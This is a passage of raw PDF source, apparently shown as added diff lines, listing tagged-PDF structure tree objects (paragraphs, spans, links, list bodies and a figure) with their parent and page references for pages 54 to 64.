+/S /Span +/Type /StructElem +>> +endobj +2717 0 obj +<< +/K [32 33 34] +/P 5279 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2718 0 obj +<< +/K [35 36] +/P 5280 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2719 0 obj +<< +/K [37 38] +/P 5281 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2720 0 obj +<< +/K [39 40] +/P 5282 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2721 0 obj +<< +/K [41 42] +/P 5283 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2722 0 obj +<< +/K [43 44] +/P 5284 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2723 0 obj +<< +/K [45 46] +/P 5285 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2724 0 obj +<< +/K [47 48] +/P 5286 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2725 0 obj +<< +/K [49 50] +/P 5287 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2726 0 obj +<< +/K [51 52] +/P 5288 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2727 0 obj +<< +/K [53 54] +/P 5289 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2728 0 obj +<< +/K [55 56] +/P 5290 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2729 0 obj +<< +/K [57 58] +/P 5291 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2730 0 obj +<< +/K [59] +/P 5292 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2731 0 obj +<< +/K [60 61] +/P 5293 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2732 0 obj +<< +/K [5294 0 R 2700 0 R] +/P 5270 0 R +/Pg 54 0 R +/S /Link +/Type /StructElem +>> +endobj +2733 0 obj +<< +/K [5295 0 R 2702 0 R] +/P 5270 0 R +/Pg 54 0 R +/S /Link +/Type /StructElem +>> +endobj +2734 0 obj +<< +/K [5296 0 R 2713 0 R] +/P 5278 0 R +/Pg 54 0 R +/S /Link +/Type /StructElem +>> +endobj +2735 0 obj +<< +/K [5297 0 R 2715 0 R] +/P 5278 0 R +/Pg 54 0 R +/S /Link +/Type /StructElem +>> +endobj +2736 0 obj +<< +/K 0 +/P 5298 0 R +/Pg 55 0 R +/S /Span +/Type /StructElem +>> +endobj +2737 0 obj +<< +/K 1 +/P 5298 0 R +/Pg 55 0 R +/S /Span +/Type /StructElem +>> +endobj +2738 0 obj +<< +/K 2 +/P 2797 0 R +/Pg 55 0 R +/S /Span +/Type /StructElem +>> +endobj +2739 0 obj +<< +/K 3 +/P 5298 0 R +/Pg 55 0 R +/S /Span +/Type /StructElem +>> +endobj +2740 0 obj +<< +/K 4 +/P 2798 0 R +/Pg 55 0 R +/S /Span +/Type /StructElem +>> +endobj +2741 0 obj +<< +/K 5 +/P 5298 0 R +/Pg 55 0 R +/S /Span +/Type /StructElem +>> +endobj +2742 0 obj +<< +/K [6 7 8] +/P 5299 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2743 0 obj +<< +/K [9] +/P 5300 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2744 0 obj +<< +/K [10 11] +/P 5301 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2745 0 obj +<< +/K [12 13] +/P 5302 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2746 0 obj +<< +/K [14 15] +/P 5303 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2747 0 obj +<< +/K [16 17] +/P 5304 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2748 0 obj +<< +/K [18 19] +/P 5305 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2749 0 obj +<< +/K [20 21] +/P 5306 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2750 0 obj +<< +/K [22 23] +/P 5307 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2751 0 obj +<< +/K [24 25] +/P 5308 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2752 0 obj +<< +/K [26 27] +/P 5309 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2753 0 obj +<< +/K [28 29] +/P 5310 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2754 0 obj +<< +/K [30 31] +/P 5311 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2755 0 obj +<< +/K [32] +/P 5312 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2756 0 obj +<< +/K [33 34] +/P 5313 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2757 0 obj +<< +/K [35] +/P 5314 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2758 0 obj +<< +/K [36 37] +/P 5315 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2759 0 obj +<< +/K [38 39] +/P 5316 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2760 0 obj +<< +/K [40 41] +/P 5317 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2761 0 obj +<< +/K [42 43] +/P 5318 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2762 0 obj +<< +/K [44 45] +/P 5319 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2763 0 obj +<< +/K [46 47] +/P 5320 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2764 0 obj +<< +/K [48 49] +/P 5321 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2765 0 obj +<< +/K [50 51] +/P 5322 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2766 0 obj +<< +/K [52 53] +/P 5323 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2767 0 obj +<< +/K [54 55] +/P 5324 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2768 0 obj +<< +/K [56 57] +/P 5325 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2769 0 obj +<< +/K [58 59] +/P 5326 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2770 0 obj +<< +/K [60 61] +/P 5327 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2771 0 obj +<< +/K [62 63] +/P 5328 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2772 0 obj +<< +/K [64 65] +/P 5329 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2773 0 obj +<< +/K [66] +/P 5330 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2774 0 obj +<< +/K [67 68] +/P 5331 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2775 0 obj +<< +/K [69] +/P 5332 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2776 0 obj +<< +/K [70 71] +/P 5333 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2777 0 obj +<< +/K [72 73] +/P 5334 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2778 0 obj +<< +/K [74 75] +/P 5335 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2779 0 obj +<< +/K [76 77] +/P 5336 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2780 0 obj +<< +/K [78 79] +/P 5337 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2781 0 obj +<< +/K [80 81] +/P 5338 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2782 0 obj +<< +/K [82 83] +/P 5339 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2783 0 obj +<< +/K [84 85] +/P 5340 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2784 0 obj +<< +/K [86 87] +/P 5341 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2785 0 obj +<< +/K [88 89] +/P 5342 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2786 0 obj +<< +/K [90 91] +/P 5343 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2787 0 obj +<< +/K [92] +/P 5344 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2788 0 obj +<< +/K [93] +/P 5345 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2789 0 obj +<< +/K [94] +/P 5346 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2790 0 obj +<< +/K [95 96] +/P 5347 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2791 0 obj +<< +/K [97 98] +/P 5348 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2792 0 obj +<< +/K [99 100] +/P 5349 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2793 0 obj +<< +/K [101 102] +/P 5350 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2794 0 obj +<< +/K [103 104] +/P 5351 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2795 0 obj +<< +/K [105 106] +/P 5352 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2796 0 obj +<< +/K [107] +/P 5353 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +2797 0 obj +<< +/K [5354 0 R 2738 0 R] +/P 5298 0 R +/Pg 55 0 R +/S /Link +/Type /StructElem +>> +endobj +2798 0 obj +<< +/K [5355 0 R 2740 0 R] +/P 5298 0 R +/Pg 55 0 R +/S /Link +/Type /StructElem +>> +endobj +2799 0 obj +<< +/K 4 +/P 5356 0 R +/Pg 56 0 R +/S /Span +/Type /StructElem +>> +endobj +2800 0 obj +<< +/K 5 +/P 5356 0 R +/Pg 56 0 R +/S /Span +/Type /StructElem +>> +endobj +2801 0 obj +<< +/K 6 +/P 2834 0 R +/Pg 56 0 R +/S /Span +/Type /StructElem +>> +endobj +2802 0 obj +<< +/K 7 +/P 5356 0 R +/Pg 56 0 R +/S /Span +/Type /StructElem +>> +endobj +2803 0 obj +<< +/K 8 +/P 2835 0 R +/Pg 56 0 R +/S /Span +/Type /StructElem +>> +endobj +2804 0 obj +<< +/K 9 +/P 5356 0 R +/Pg 56 0 R +/S /Span +/Type /StructElem +>> +endobj +2805 0 obj +<< +/K [10 11 12] +/P 5357 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2806 0 obj +<< +/K [13 14] +/P 5358 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2807 0 obj +<< +/K [15 16] +/P 5359 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2808 0 obj +<< +/K [17 18] +/P 5360 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2809 0 obj +<< +/K [19 20] +/P 5361 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2810 0 obj +<< +/K [21 22] +/P 5362 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2811 0 obj +<< +/K [23 24] +/P 5363 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2812 0 obj +<< +/K [25 26] +/P 5364 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2813 0 obj +<< +/K [27 28] +/P 5365 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2814 0 obj +<< +/K [29 30] +/P 5366 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2815 0 obj +<< +/K [31 32] +/P 5367 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2816 0 obj +<< +/K [33 34] +/P 5368 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2817 0 obj +<< +/K [35 36] +/P 5369 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2818 0 obj +<< +/K [37] +/P 5370 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2819 0 obj +<< +/K [38 39] +/P 5371 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2820 0 obj +<< +/K [40] +/P 5372 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2821 0 obj +<< +/K [41 42] +/P 5373 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2822 0 obj +<< +/K [43 44] +/P 5374 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2823 0 obj +<< +/K [45 46] +/P 5375 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2824 0 obj +<< +/K [47 48] +/P 5376 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2825 0 obj +<< +/K [49 50] +/P 5377 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2826 0 obj +<< +/K [51 52] +/P 5378 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2827 0 obj +<< +/K [53 54] +/P 5379 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2828 0 obj +<< +/K [55 56] +/P 5380 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2829 0 obj +<< +/K [57 58] +/P 5381 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2830 0 obj +<< +/K [59 60] +/P 5382 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2831 0 obj +<< +/K [61 62] +/P 5383 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2832 0 obj +<< +/K [63] +/P 5384 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2833 0 obj +<< +/K [64 65] +/P 5385 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +2834 0 obj +<< +/K [5386 0 R 2801 0 R] +/P 5356 0 R +/Pg 56 0 R +/S /Link +/Type /StructElem +>> +endobj +2835 0 obj +<< +/K [5387 0 R 2803 0 R] +/P 5356 0 R +/Pg 56 0 R +/S /Link +/Type /StructElem +>> +endobj +2836 0 obj +<< +/K 0 +/P 5388 0 R +/Pg 57 0 R +/S /Span +/Type /StructElem +>> +endobj +2837 0 obj +<< +/K 1 +/P 5388 0 R +/Pg 57 0 R +/S /Span +/Type /StructElem +>> +endobj +2838 0 obj +<< +/K 2 +/P 2883 0 R +/Pg 57 0 R +/S /Span +/Type /StructElem +>> +endobj +2839 0 obj +<< +/K 3 +/P 5388 0 R +/Pg 57 0 R +/S /Span +/Type /StructElem +>> +endobj +2840 0 obj +<< +/K 4 +/P 2884 0 R +/Pg 57 0 R +/S /Span +/Type /StructElem +>> +endobj +2841 0 obj +<< +/K 5 +/P 5388 0 R +/Pg 57 0 R +/S /Span +/Type /StructElem +>> +endobj +2842 0 obj +<< +/K [6 7 8] +/P 5389 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2843 0 obj +<< +/K [9] +/P 5390 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2844 0 obj +<< +/K [10 11] +/P 5391 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2845 0 obj +<< +/K [12 13] +/P 5392 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2846 0 obj +<< +/K [14 15] +/P 5393 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2847 0 obj +<< +/K [16 17] +/P 5394 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2848 0 obj +<< +/K [18 19] +/P 5395 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2849 0 obj +<< +/K [20 21] +/P 5396 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2850 0 obj +<< +/K [22 23] +/P 5397 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2851 0 obj +<< +/K [24 25] +/P 5398 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2852 0 obj +<< +/K [26 27] +/P 5399 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2853 0 obj +<< +/K [28 29] +/P 5400 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2854 0 obj +<< +/K [30 31] +/P 5401 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2855 0 obj +<< +/K [32 33] +/P 5402 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2856 0 obj +<< +/K [34 35] +/P 5403 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2857 0 obj +<< +/K [36 37] +/P 5404 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2858 0 obj +<< +/K [38 39] +/P 5405 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2859 0 obj +<< +/K [40] +/P 5406 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2860 0 obj +<< +/K [41 42] +/P 5407 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2861 0 obj +<< +/K [43] +/P 5408 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2862 0 obj +<< +/K [44 45] +/P 5409 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2863 0 obj +<< +/K [46 47] +/P 5410 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2864 0 obj +<< +/K [48 49] +/P 5411 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2865 0 obj +<< +/K [50 51] +/P 5412 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2866 0 obj +<< +/K [52 53] +/P 5413 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2867 0 obj +<< +/K [54 55] +/P 5414 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2868 0 obj +<< +/K [56 57] +/P 5415 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2869 0 obj +<< +/K [58 59] +/P 5416 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2870 0 obj +<< +/K [60 61] +/P 5417 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2871 0 obj +<< +/K [62 63] +/P 5418 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2872 0 obj +<< +/K [64 65] +/P 5419 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2873 0 obj +<< +/K [66] +/P 5420 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2874 0 obj +<< +/K [67] +/P 5421 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2875 0 obj +<< +/K [68] +/P 5422 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2876 0 obj +<< +/K [69 70] +/P 5423 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2877 0 obj +<< +/K [71 72] +/P 5424 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2878 0 obj +<< +/K [73 74] +/P 5425 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2879 0 obj +<< +/K [75 76] +/P 5426 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2880 0 obj +<< +/K [77 78] +/P 5427 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2881 0 obj +<< +/K [79 80] +/P 5428 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2882 0 obj +<< +/K [81] +/P 5429 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +2883 0 obj +<< +/K [5430 0 R 2838 0 R] +/P 5388 0 R +/Pg 57 0 R +/S /Link +/Type /StructElem +>> +endobj +2884 0 obj +<< +/K [5431 0 R 2840 0 R] +/P 5388 0 R +/Pg 57 0 R +/S /Link +/Type /StructElem +>> +endobj +2885 0 obj +<< +/K 0 +/P 1015 0 R +/Pg 59 0 R +/S /Span +/Type /StructElem +>> +endobj +2886 0 obj +<< +/ActualText ( ) +/K [1] +/P 1015 0 R +/Pg 59 0 R +/S /Span +/Type /StructElem +>> +endobj +2887 0 obj +<< +/K 2 +/P 1015 0 R +/Pg 59 0 R +/S /Span +/Type /StructElem +>> +endobj +2888 0 obj +<< +/ActualText ( ) +/K [3] +/P 1015 0 R +/Pg 59 0 R +/S /Span +/Type /StructElem +>> +endobj +2889 0 obj +<< +/K 4 +/P 1015 0 R +/Pg 59 0 R +/S /Span +/Type /StructElem +>> +endobj +2890 0 obj +<< +/K [3] +/P 5432 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +2891 0 obj +<< +/K [4] +/P 5433 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +2892 0 obj +<< +/K [5] +/P 5434 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +2893 0 obj +<< +/K [6] +/P 5435 0 R +/Pg 60 0 R +/S /LBody +/Type /StructElem +>> +endobj +2894 0 obj +<< +/K [7] +/P 5436 0 R +/Pg 60 0 R +/S /LBody +/Type /StructElem +>> +endobj +2895 0 obj +<< +/K [8] +/P 5434 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +2896 0 obj +<< +/K [9] +/P 5434 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +2897 0 obj +<< +/K [10] +/P 5434 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +2898 0 obj +<< +/K [11] +/P 5437 0 R +/Pg 60 0 R +/S /LBody +/Type /StructElem +>> +endobj +2899 0 obj +<< +/K [12] +/P 5438 0 R +/Pg 60 0 R +/S /LBody +/Type /StructElem +>> +endobj +2900 0 obj +<< +/K [16] +/P 5432 0 R +/Pg 60 0 R +/S /Figure +/Type /StructElem +>> +endobj +2901 0 obj +<< +/K 0 +/P 1034 0 R +/Pg 61 0 R +/S /Span +/Type /StructElem +>> +endobj +2902 0 obj +<< +/ActualText ( ) +/K [1] +/P 1034 0 R +/Pg 61 0 R +/S /Span +/Type /StructElem +>> +endobj +2903 0 obj +<< +/K 2 +/P 1034 0 R +/Pg 61 0 R +/S /Span +/Type /StructElem +>> +endobj +2904 0 obj +<< +/ActualText ( ) +/K [3] +/P 1034 0 R +/Pg 61 0 R +/S /Span +/Type /StructElem +>> +endobj +2905 0 obj +<< +/K 4 +/P 1034 0 R +/Pg 61 0 R +/S /Span +/Type /StructElem +>> +endobj +2906 0 obj +<< +/K [11 12] +/P 5439 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2907 0 obj +<< +/K [13 14] +/P 5440 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2908 0 obj +<< +/K [15 16] +/P 5441 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2909 0 obj +<< +/K [17] +/P 5442 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2910 0 obj +<< +/K [18] +/P 5442 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2911 0 obj +<< +/K [19] +/P 5443 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2912 0 obj +<< +/K [20] +/P 5444 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +2913 0 obj +<< +/K [4 5] +/P 5445 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2914 0 obj +<< +/K [6 7] +/P 5446 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2915 0 obj +<< +/K [8 9] +/P 5447 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2916 0 obj +<< +/K [10] +/P 5448 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2917 0 obj +<< +/K [11] +/P 5448 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2918 0 obj +<< +/K [12] +/P 5449 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2919 0 obj +<< +/K [13] +/P 5450 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2920 0 obj +<< +/K [14] +/P 5451 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2921 0 obj +<< +/K [15] +/P 5452 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2922 0 obj +<< +/K [16] +/P 5453 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +2923 0 obj +<< +/K [4 5] +/P 5454 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +2924 0 obj +<< +/K [6 7] +/P 5455 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +2925 0 obj +<< +/K [8 9] +/P 5456 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +2926 0 obj +<< +/K [10] +/P 5457 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +2927 0 obj +<< +/K [11] +/P 5458 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +2928 0 obj +<< +/K [12] +/P 5459 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +2929 0 obj +<< +/K 0 +/P 1061 0 R +/Pg 64 0 R +/S /Span +/Type /StructElem +>> +endobj +2930 0 obj +<< +/ActualText ( ) +/K [1] +/P 1061 0 R +/Pg 64 0 R +/S /Span +/Type /StructElem +>> +endobj +2931 0 obj +<< +/K 2 +/P 1061 0 R +/Pg 64 0 R +/S /Span +/Type /StructElem +>> +endobj +2932 0 obj +<< +/ActualText ( ) +/K [3] +/P 1061 0 R +/Pg 64 0 R +/S /Span +/Type /StructElem +>> +endobj +2933 0 obj +<< +/K 4 +/P 1061 0 R +/Pg 64 0 R +/S /Span +/Type /StructElem +>> +endobj +2934 0 obj +<< +/K [8 9] +/P 5460 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2935 0 obj +<< +/K [10 11] +/P 5461 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2936 0 obj +<< +/K [12 13] +/P 5462 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2937 0 obj +<< +/K [14 15] +/P 5463 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2938 0 obj +<< +/K [16 17] +/P 5464 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2939 0 obj +<< +/K [18 19] +/P 5465 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2940 0 obj +<< +/K [20 21] +/P 5466 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2941 0 obj +<< +/K [22 23] +/P 5467 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2942 0 obj +<< +/K [24 25] +/P 5468 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2943 0 obj +<< +/K [26 27] +/P 5469 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2944 0 obj +<< +/K [28 29] +/P 5470 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2945 0 obj +<< +/K [30 31] +/P 5471 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2946 0 obj +<< +/K [32 33] +/P 5472 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2947 0 obj +<< +/K [34 35] +/P 5473 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2948 0 obj +<< +/K [36 37] +/P 5474 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2949 0 obj +<< +/K [38 39] +/P 5475 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2950 0 obj +<< +/K [40 41] +/P 5476 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2951 0 obj +<< +/K [42 43 44] +/P 5477 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2952 0 obj +<< +/K [45 46] +/P 5478 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2953 0 obj +<< +/K [47 48] +/P 5479 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2954 0 obj +<< +/K [49 50] +/P 5480 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2955 0 obj +<< +/K [51 52] +/P 5481 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2956 0 obj +<< +/K [53 54] +/P 5482 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2957 0 obj +<< +/K [55 56] +/P 5483 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2958 0 obj +<< +/K [57 58] +/P 5484 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2959 0 obj +<< +/K [59 60] +/P 5485 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2960 0 obj +<< +/K [61 62] +/P 5486 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +2961 0 obj +<< +/K [63 64] +/P 5487 